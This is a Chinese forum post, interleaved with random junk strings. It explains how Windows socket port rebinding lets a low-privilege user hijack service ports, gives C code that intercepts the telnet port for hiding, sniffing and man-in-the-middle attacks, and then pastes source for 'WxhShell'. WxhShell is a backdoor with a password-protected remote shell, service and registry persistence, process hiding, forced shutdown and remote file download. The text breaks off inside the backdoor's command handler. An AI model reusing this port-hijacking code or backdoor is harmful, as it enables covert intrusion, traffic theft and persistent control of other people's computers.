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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <);j5)/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cEHpa%_5  
IEm?'o:  
  saddr.sin_family = AF_INET; u/W{JPlL  
%ZRv+}z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z*Ffdh>*:&  
G:e=9qTf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yl>^QMmo  
3JD62wtx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;*5z&1O  
Dml?.-Uv<  
  这意味着什么?意味着可以进行如下的攻击: "pt[Nm76)8  
,q*|R O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pRfKlTU\  
UusAsezm:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z( :\Vj"  
(B\Kb4m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y1 a%f.F`  
nIH(2j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yi^X?E{WnX  
6%EpF;T`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4"PA7 e  
OC5oxL2HTe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A#$l;M.3R  
QY+{ OCB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q!&:y7O8  
tic3a1  
  #include j&DlI_  
  #include UVXruH  
  #include u9;3Xn8  
  #include    a/E(GQ,,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =0e>'Iw2  
  int main() ?o V.SG'  
  { ~RLjL"  
  WORD wVersionRequested; pe[huYE  
  DWORD ret; wOUCe#P|r  
  WSADATA wsaData; '!X`X=  
  BOOL val; qw4wg9w5p  
  SOCKADDR_IN saddr; wB8548C}-  
  SOCKADDR_IN scaddr; =YYqgNz+\w  
  int err; *)r_Y|vg  
  SOCKET s; (q"S0{  
  SOCKET sc; lxTqGwx  
  int caddsize; je\]j-0$u  
  HANDLE mt; "=?JIQ  
  DWORD tid;   e>Q:j_?.e  
  wVersionRequested = MAKEWORD( 2, 2 ); \sGJs8#v][  
  err = WSAStartup( wVersionRequested, &wsaData ); %.[AZ>  
  if ( err != 0 ) { 2v?#r"d  
  printf("error!WSAStartup failed!\n"); >Dv=lgPF  
  return -1; / pe.?Zd  
  } `iuQ.I  
  saddr.sin_family = AF_INET; 3 } $9./+  
   #~*v*F~3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =]Y'xzJuu  
D{]w +  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'o]}vyz;  
  saddr.sin_port = htons(23); l7ES*==&@0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6wiuNGZb  
  { M9V,;*  
  printf("error!socket failed!\n"); bAY >o  
  return -1; k="w EZ;Q  
  } <c`,fd8  
  val = TRUE; _z^&zuO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^CwS'/fdN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  mznE Cy  
  { q+YK NXI  
  printf("error!setsockopt failed!\n"); I<lkociUCG  
  return -1; #r&yH^-  
  } \XY2s&"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MMRO@MdfV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #I yM`YB0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ejf>QIB  
ku v<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +DT tKj  
  { AxJf\B8  
  ret=GetLastError(); c1%ki%J#  
  printf("error!bind failed!\n"); <Dnv=)Rq  
  return -1; blV'-Al  
  } d#,   
  listen(s,2); tG,xG&  
  while(1) YcaLc_pUx  
  { Ky7-6$  
  caddsize = sizeof(scaddr); ^oHK.x#{  
  //接受连接请求 U,/9fzgd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;hDIoSz  
  if(sc!=INVALID_SOCKET) $>~4RXC  
  { mpCKF=KL.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (j}Wt8  
  if(mt==NULL) i#lO{ ]  
  { =>C3IR/  
  printf("Thread Creat Failed!\n"); [Az^i>iH  
  break; am WIA`n=  
  } Qa16x<Xlm  
  } xJzO?a'  
  CloseHandle(mt); 5geZ6]|  
  } q|;+Wp?  
  closesocket(s); () HIcu*i  
  WSACleanup(); 4s&koH(x  
  return 0; @n=FSn6 c  
  }   5#? HL  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~f2-%~  
  { YsjTC$Tx,  
  SOCKET ss = (SOCKET)lpParam; wmv/ ?g  
  SOCKET sc; Vzrp9&loY  
  unsigned char buf[4096]; .=b)Ae c  
  SOCKADDR_IN saddr; EJrQ9"x&n  
  long num; 9%Ftln6  
  DWORD val; rFv=j :8  
  DWORD ret; NE$=R"<Gv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F[|aDj@q e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |w^nCsv  
  saddr.sin_family = AF_INET; l< |)LD q~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r+l3J>:K  
  saddr.sin_port = htons(23); 0Z[8d0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;(Qm<JAa  
  { v?1xYG@1  
  printf("error!socket failed!\n"); m>?{flO  
  return -1; 'r`-J4icX  
  } *C(XGX\?-  
  val = 100; ^$O,Gy)V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HQ8;d9cGir  
  {  Et0;1  
  ret = GetLastError(); I%G6V a@  
  return -1; FZtIC77X5  
  } "^iw {]~U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bxg9T(Bj  
  { {Uu|NA87Cd  
  ret = GetLastError(); 5SY(:!  
  return -1; Qjh @oWT  
  } A[oxG;9xi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =:=uV0jX\  
  { aV8]?E5G  
  printf("error!socket connect failed!\n"); AUAJMS!m  
  closesocket(sc); V5LzUg]  
  closesocket(ss); '%9e8C|  
  return -1; q>ps99[=  
  } -i?-Xj#%  
  while(1) |q\:3R_0  
  { S-6 %mYf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :u53zX[v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )b AcU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Hlq#X:DCn  
  num = recv(ss,buf,4096,0); gg%OOvaj5  
  if(num>0) O}#h^AU-BS  
  send(sc,buf,num,0); ] Vbv64M3  
  else if(num==0) 4h~o>(Sq  
  break; O9W|&LAL  
  num = recv(sc,buf,4096,0); m;nT ?kv  
  if(num>0) `H6kC$^Ofx  
  send(ss,buf,num,0); vJfex,#lv  
  else if(num==0) t1YVE%`w  
  break; VS\~t  
  } qMe$Qr8  
  closesocket(ss); +O @0gl  
  closesocket(sc); oUBn:Ir@  
  return 0 ; uD''0G\  
  } <J QvuC  
#Hr>KQ5mJQ  
LN?W~^gsR  
========================================================== uN1O(s  
u>.qhtm[  
下边附上一个代码,,WXhSHELL qG%'Lt  
G u-#wv5@  
========================================================== R"=pAO.4l  
xeX Pc7JG  
#include "stdafx.h" 0Y9\,y_  
i7w>Nvj]  
#include <stdio.h> sc^TElic  
#include <string.h> 7x^P74  
#include <windows.h> 58Fan*fO  
#include <winsock2.h> z\8Kz ]n~  
#include <winsvc.h> F\Gi;6a  
#include <urlmon.h> #yk m  
]QS? fs Z  
#pragma comment (lib, "Ws2_32.lib") +idj,J|  
#pragma comment (lib, "urlmon.lib") [huS"1  
'lym^^MjL+  
#define MAX_USER   100 // 最大客户端连接数 bi bjFg   
#define BUF_SOCK   200 // sock buffer -qBrJ1*  
#define KEY_BUFF   255 // 输入 buffer ^MGgFS]G  
qqSf17sW  
#define REBOOT     0   // 重启 ~% QVjzMC  
#define SHUTDOWN   1   // 关机 afcI5w;>}  
iy{*w&p  
#define DEF_PORT   5000 // 监听端口 c?{&=,u2  
{`vF4@  
#define REG_LEN     16   // 注册表键长度 7N / v  
#define SVC_LEN     80   // NT服务名长度 Nj_h+=UE!  
Z`23z( +  
// 从dll定义API ~g+?]Lk}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wYJ.F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mh"&KX86W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lmZ Ssx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FaC;vuSpy  
M3350  
// wxhshell配置信息 S3u>a\  
struct WSCFG { &oTUj'$  
  int ws_port;         // 监听端口 geL)v7t+#  
  char ws_passstr[REG_LEN]; // 口令 <3iL5}  
  int ws_autoins;       // 安装标记, 1=yes 0=no #$QC2;/)F  
  char ws_regname[REG_LEN]; // 注册表键名 >v9 ("  
  char ws_svcname[REG_LEN]; // 服务名 < 6[XE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lUd/^u`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ms.1RCup  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wPYz&&W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t%wC~1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `Li3=!V[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G-[fz  
Lmx95[#@a  
}; CfA^Xp@vc  
0Kxc$c  
// default Wxhshell configuration vl8Ums} +  
struct WSCFG wscfg={DEF_PORT, j^}p'w Tu{  
    "xuhuanlingzhe", J)iy6{0"  
    1, (5] |Kcp|  
    "Wxhshell", jemg#GB8  
    "Wxhshell", e.%` tK3J  
            "WxhShell Service", K%ltB&  
    "Wrsky Windows CmdShell Service", o[W7'1O  
    "Please Input Your Password: ", vd>X4e ^j  
  1, ]?p&sI4  
  "http://www.wrsky.com/wxhshell.exe", G%w hOIFRq  
  "Wxhshell.exe" 0!YB.=\{_q  
    }; _4VF>#b  
"If]qX(w  
// 消息定义模块 ixZ w;+h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  q[#2`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,c#=qb8""  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8*;88vW"2  
char *msg_ws_ext="\n\rExit."; ;H5PiSq;z  
char *msg_ws_end="\n\rQuit."; /pZ]:.A  
char *msg_ws_boot="\n\rReboot..."; Np=IZ npt  
char *msg_ws_poff="\n\rShutdown..."; mdW8RsR  
char *msg_ws_down="\n\rSave to "; 6C>"H  
c8I : jDk:  
char *msg_ws_err="\n\rErr!"; P)Vm4u 1  
char *msg_ws_ok="\n\rOK!"; |'xVU8  
pJ7M.C!  
char ExeFile[MAX_PATH]; ."<mL}Fi(  
int nUser = 0; > Q+Bw"W<  
HANDLE handles[MAX_USER]; ]42bd  
int OsIsNt; S+G!o]&2  
C~Fdo0D  
SERVICE_STATUS       serviceStatus; h=uwOi6}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D/C)Rrq"a  
&R:$h*Wt|  
// 函数声明 y<bA Y_-[  
int Install(void); #I jG[a-  
int Uninstall(void); KiU/N$ E  
int DownloadFile(char *sURL, SOCKET wsh); fX=o,=-f  
int Boot(int flag); ZtPq */'  
void HideProc(void); !sA[A>  
int GetOsVer(void); E^a He  
int Wxhshell(SOCKET wsl); G j[`r  
void TalkWithClient(void *cs); vs-%J 6}G  
int CmdShell(SOCKET sock); bLyU;  
int StartFromService(void); m?I$XAE  
int StartWxhshell(LPSTR lpCmdLine); i#o:V/Z .  
u/3[6MIp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iO)FZ%?"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s*<\ mwB  
8C1 'g7A<  
// 数据结构和表定义 ;*K@8GnU  
SERVICE_TABLE_ENTRY DispatchTable[] = ]03+8 #J  
{ >6ul\xMU  
{wscfg.ws_svcname, NTServiceMain}, Fp52 |w_  
{NULL, NULL} ]RgLTqv4x  
}; ],l w  
n4Od4&r  
// 自我安装 iq_y80g`8h  
int Install(void) JX%B_eUlAs  
{ ,;LxFS5\  
  char svExeFile[MAX_PATH]; {//;GC*  
  HKEY key; x9Veg4Z7  
  strcpy(svExeFile,ExeFile); >CtT_yhx  
C'mYR3?m;  
// 如果是win9x系统,修改注册表设为自启动 R#OVJ(#  
if(!OsIsNt) { ?-mDvW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <smi<syx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 41f4zisZ  
  RegCloseKey(key); ?}4 =A&][  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *GxOiv7"4W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a g Za+a  
  RegCloseKey(key); ZPHiR4fQli  
  return 0; ^.5`jdk  
    } 8zv=@`4@G  
  } }}Gz3>?24=  
} }TjiYA.  
else { GORu*[U8  
>\=~2>FCD  
// 如果是NT以上系统,安装为系统服务 5g9lO]WDI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4FK|y&p4r  
if (schSCManager!=0) $89hkUuTu^  
{ q3a`Y)aVB  
  SC_HANDLE schService = CreateService FV>j !>Y  
  ( 4 [2^#t[  
  schSCManager, R%)ZhG*  
  wscfg.ws_svcname, 6[g~p< 8n}  
  wscfg.ws_svcdisp, XRi/O)98o  
  SERVICE_ALL_ACCESS, P70\ |M0~y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DA'A-C2  
  SERVICE_AUTO_START, f>$Ld1  
  SERVICE_ERROR_NORMAL, ,MkldCV  
  svExeFile, %Z|]"=;6  
  NULL, . C_\xb  
  NULL,  X$:r  
  NULL, kkfwICBI  
  NULL, Q2[@yRY/z  
  NULL "Uy==~  
  ); )aY^k|I  
  if (schService!=0) )Ih '0>=  
  { LwDm(gG  
  CloseServiceHandle(schService); `uRf*-   
  CloseServiceHandle(schSCManager); '_)NI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L`E^BuP/  
  strcat(svExeFile,wscfg.ws_svcname); d5?"GFy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S}zh0`+d'Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =/xTUI4  
  RegCloseKey(key); C1 qyjlR  
  return 0; a&yIH;-  
    } XEd|<+P1  
  } %si5cc?  
  CloseServiceHandle(schSCManager); JN;92|x  
} V. sIiE  
} ^<L;"jl%  
1 o5DQ'~n  
return 1; 9y/gWE  
} 1]eh0H  
;DWtCtD  
// 自我卸载 Yv0;UKd  
int Uninstall(void) 9$0-UUCk  
{ s':fv[%  
  HKEY key; joaf0  
yl63VX8w}  
if(!OsIsNt) { yP:/F|E$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7/*a  
  RegDeleteValue(key,wscfg.ws_regname); slSQ\;CDA  
  RegCloseKey(key); Qg]8~^ Q<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UPtWj8h  
  RegDeleteValue(key,wscfg.ws_regname); xgl~4  
  RegCloseKey(key); wFr}]<=Mi  
  return 0; ,>-Q#  
  } Zkn$D:  
} ]KX _a1e  
} I{Pny/d`  
else { /rRQ*m_  
&=SP"@D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -OLXRc=  
if (schSCManager!=0) DwTqj=l  
{ @D.]PZf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lNV%R(  
  if (schService!=0) MZ_+doN  
  { I W_:nm6  
  if(DeleteService(schService)!=0) { [E_+fT  
  CloseServiceHandle(schService); ~r~~0|=  
  CloseServiceHandle(schSCManager); qK ,mG {  
  return 0; >pa tv  
  } k&\YfE3*  
  CloseServiceHandle(schService); UloZo? e`  
  } ;bJ2miO"e  
  CloseServiceHandle(schSCManager); l@}BWSx&ms  
} !6:q#B*  
} -BWkPq!  
p^_E7k<ag  
return 1; [oOA@  
} o!Vs{RRu}  
yK"OZ2Mv  
// 从指定url下载文件 >-0b@ +j  
int DownloadFile(char *sURL, SOCKET wsh) I+ipTeB^  
{ ,z}wR::%  
  HRESULT hr; o6e6Jw  
char seps[]= "/"; Q>gU(  
char *token; ;]<{ <czc  
char *file; B!jINOg  
char myURL[MAX_PATH]; [ e4)"A"  
char myFILE[MAX_PATH]; !x9j~D'C`  
wEK@B&DV  
strcpy(myURL,sURL); ^'8T9N@U  
  token=strtok(myURL,seps); [,_M@g3  
  while(token!=NULL) :j/PtNT@  
  { C7=Q!UK`\  
    file=token; M4a- +T"  
  token=strtok(NULL,seps); K7&A^$`  
  } xN t  
tMaJ; 4  
GetCurrentDirectory(MAX_PATH,myFILE); 02]9 OnWw  
strcat(myFILE, "\\"); H~~I6D{8  
strcat(myFILE, file); Ty]/F+{  
  send(wsh,myFILE,strlen(myFILE),0); !=#230Y  
send(wsh,"...",3,0); #&\hgsw/T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tK&.0)*=  
  if(hr==S_OK) ]y 6`9p  
return 0; 7lpd$Y  
else ?v2OoNQ   
return 1; 3Lwl~h!  
K[LTw_oE  
} pk'@!|g%=  
w $7J)ngA9  
// 系统电源模块 ?U0iHg{  
int Boot(int flag) x q93>Hs  
{ z`uqK!v(K  
  HANDLE hToken; 1Oo^  
  TOKEN_PRIVILEGES tkp; u!2.[CV  
_t:cDXj  
  if(OsIsNt) { o"^}2^)_SR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qQR> z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;% *e}w0  
    tkp.PrivilegeCount = 1; 9d2#=IJm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; maLJ M\C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :V2j'R,  
if(flag==REBOOT) { <p(&8P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N$ZThZqqv  
  return 0; 5=Bj?xb$'  
} x+5Q}ux'G  
else { 0_bt*.w I+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6wzF6] @O  
  return 0; X|L8s$>  
} ok X\z[X  
  } x&R&\}@G m  
  else { !D%*s,t\'  
if(flag==REBOOT) { 3m4?l ~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K@VXFV  
  return 0; -5\aL"?4  
} xiU-}H'o  
else { vII&v+C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U-TwrX  
  return 0; H<`[,t  
} *Rshzv[  
} W0$G 7 s  
:EyH'v  
return 1; 9Q :IgY?T  
} o]#Q6J  
!mL,Ue3/  
// win9x进程隐藏模块 t; n6Q0  
void HideProc(void) h`%K \C  
{ 14\%2nE  
'2]u{rr~+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i`r,B`V`08  
  if ( hKernel != NULL ) f7X#cs)a  
  { &tZ?%sr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UA,&0.7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MCQ>BP  
    FreeLibrary(hKernel); @Risab n  
  } ,@!8jar@w}  
xpyb&A  
return; "<6pp4*I  
} [RD ^@~x  
aEdF Z  
// 获取操作系统版本 <-Q0WP_^  
int GetOsVer(void) 3HbHl?-UNU  
{ Xkl^!,  
  OSVERSIONINFO winfo; 4PiNQ'*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D4'? V Iz  
  GetVersionEx(&winfo); Bx&` $lW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0 P/A  
  return 1; O( he  
  else w0SzK-&  
  return 0; YO!,m<b^u  
} = k3O4gE7  
U`6QD}c"s  
// 客户端句柄模块 i*_KHK  
int Wxhshell(SOCKET wsl) f'FY<ed<w  
{ V@>?lv(\  
  SOCKET wsh; NJUYeim;  
  struct sockaddr_in client; dGIu0\J\$  
  DWORD myID; <zZAVGb4I  
CX':nai  
  while(nUser<MAX_USER) Tc:W=\<  
{ ? z=>n  
  int nSize=sizeof(client); =AL95"cH~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); * {4cc  
  if(wsh==INVALID_SOCKET) return 1; <O5;w  
RMC|(Q<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xOT'4v&.  
if(handles[nUser]==0) xxkP4,(p  
  closesocket(wsh); *`}_e)(k  
else ? |8&!F  
  nUser++; ,zXL8T  
  } #EHBS~^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &K>]!yn   
<Dm6CH  
  return 0; pDkT_6Q  
} %\~;I73  
X8Sk  
// 关闭 socket MruWt*  
void CloseIt(SOCKET wsh) $+P v fQ  
{ a m<R!(  
closesocket(wsh); Z$zUy|s[  
nUser--; \)M 5o  
ExitThread(0); Z~?:r  
} B10p7+NBF  
eaX`S.!jR  
// 客户端请求句柄 ePs<jrB<  
void TalkWithClient(void *cs) <;=Y4$y[  
{ J+IW  
tMAa$XrZj  
  SOCKET wsh=(SOCKET)cs; S OK2{xCG  
  char pwd[SVC_LEN]; 9Biw!%a  
  char cmd[KEY_BUFF]; Dx <IS^>i  
char chr[1]; ik$wS#1+L  
int i,j; $,aU"'D  
=R>Sxaq  
  while (nUser < MAX_USER) { J.<eX=<  
l*v([@A\  
if(wscfg.ws_passstr) { =rBFMTllM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7Ck;LF}>0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }2NH>qvY  
  //ZeroMemory(pwd,KEY_BUFF); =fsaJ@q ,R  
      i=0; d:pp,N~2o  
  while(i<SVC_LEN) { h.?[1hT4R  
)D[ypuM&  
  // 设置超时 y5Pw*?kn  
  fd_set FdRead; ';ZJuJ.  
  struct timeval TimeOut; WN?T*bz2  
  FD_ZERO(&FdRead); mKsj7  
  FD_SET(wsh,&FdRead); Ki=7nKs  
  TimeOut.tv_sec=8; q#p)E=$  
  TimeOut.tv_usec=0; 5z]dA~;*2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nb];LCx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %M`|0g}!  
{?!hUi+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dX$])b_Uw  
  pwd=chr[0]; tLvli>y@  
  if(chr[0]==0xd || chr[0]==0xa) { /vPb  
  pwd=0; Iyc')\W&  
  break; mefmoZ  
  } i;xg[e8.  
  i++; he+[  
    } 9Np0<e3p  
|wLQ)y*  
  // 如果是非法用户,关闭 socket cbwzT0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  *$cp"  
} xc/|#TC8?  
pbzbh&Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^&6NB)6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eAuJ}U[  
X~DXx/9  
while(1) { P9>C!0 -x  
6AwnmGL(;;  
  ZeroMemory(cmd,KEY_BUFF); w-#0k.T  
H9>&"=".  
      // 自动支持客户端 telnet标准   AN%.LK  
  j=0; 2ga}d5lu  
  while(j<KEY_BUFF) { RyhR#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xg^fM@#m  
  cmd[j]=chr[0]; b@X@5SJFW  
  if(chr[0]==0xa || chr[0]==0xd) { YpKai3 B  
  cmd[j]=0; d#d~t[=  
  break; E{6}'FG+A  
  } u]2k%TUY  
  j++; [.Y=~)7FB  
    } ho20> vw#  
= ]@xXVf/  
  // 下载文件 )/ZSb1!  
  if(strstr(cmd,"http://")) { ZF t^q /pw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ..T (9]h  
  if(DownloadFile(cmd,wsh)) |X.z|wKT6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q#a21~S<  
  else ,9pi9\S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C C09:L?  
  } :RQ[(zD]  
  else { MMAC,4  
IW1\vfe  
    switch(cmd[0]) { QVH_B+ Q  
  b5|p#&YK~  
  // 帮助 amSyGQ2  
  case '?': { JdRs=#X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {S}@P~H =  
    break; j41:]6  
  } z K(5&u  
  // 安装 "EHc&,B`  
  case 'i': { ;MMFF{  
    if(Install()) </=PN1=A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RnrM rOh  
    else bGJUu#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5QSmim  
    break; 1P[Lz!C  
    } 3a qmK.`H  
  // 卸载 &f yFUg  
  case 'r': { &wuV}S 7  
    if(Uninstall())  %aKkk)s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "qsNySI  
    else {_~G+rqY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y|dXxd9  
    break; mqHt%RX  
    } Z:v1?v  
  // 显示 wxhshell 所在路径 _UBI,Dg]  
  case 'p': { '=H^m D+gl  
    char svExeFile[MAX_PATH]; _tk5?9Ykn  
    strcpy(svExeFile,"\n\r"); vck$@3*  
      strcat(svExeFile,ExeFile); ) G{v>Z ,  
        send(wsh,svExeFile,strlen(svExeFile),0); 3XnXQ/({  
    break; UIl_& |  
    } TUaK:*x*  
  // 重启 [:QMnJ  
  case 'b': { (*RybKoaA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zvf]}mNx  
    if(Boot(REBOOT)) ;Wa{q.)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &~%@QC/  
    else { N>R%0m<e  
    closesocket(wsh); ^ ?=K)  
    ExitThread(0); nsT|,O  
    } #$w#"Nr9k  
    break; ?lK!OyCkc  
    } 3ngLEWT  
  // 关机 sb @hGS  
  case 'd': { 3CE8+PnT  
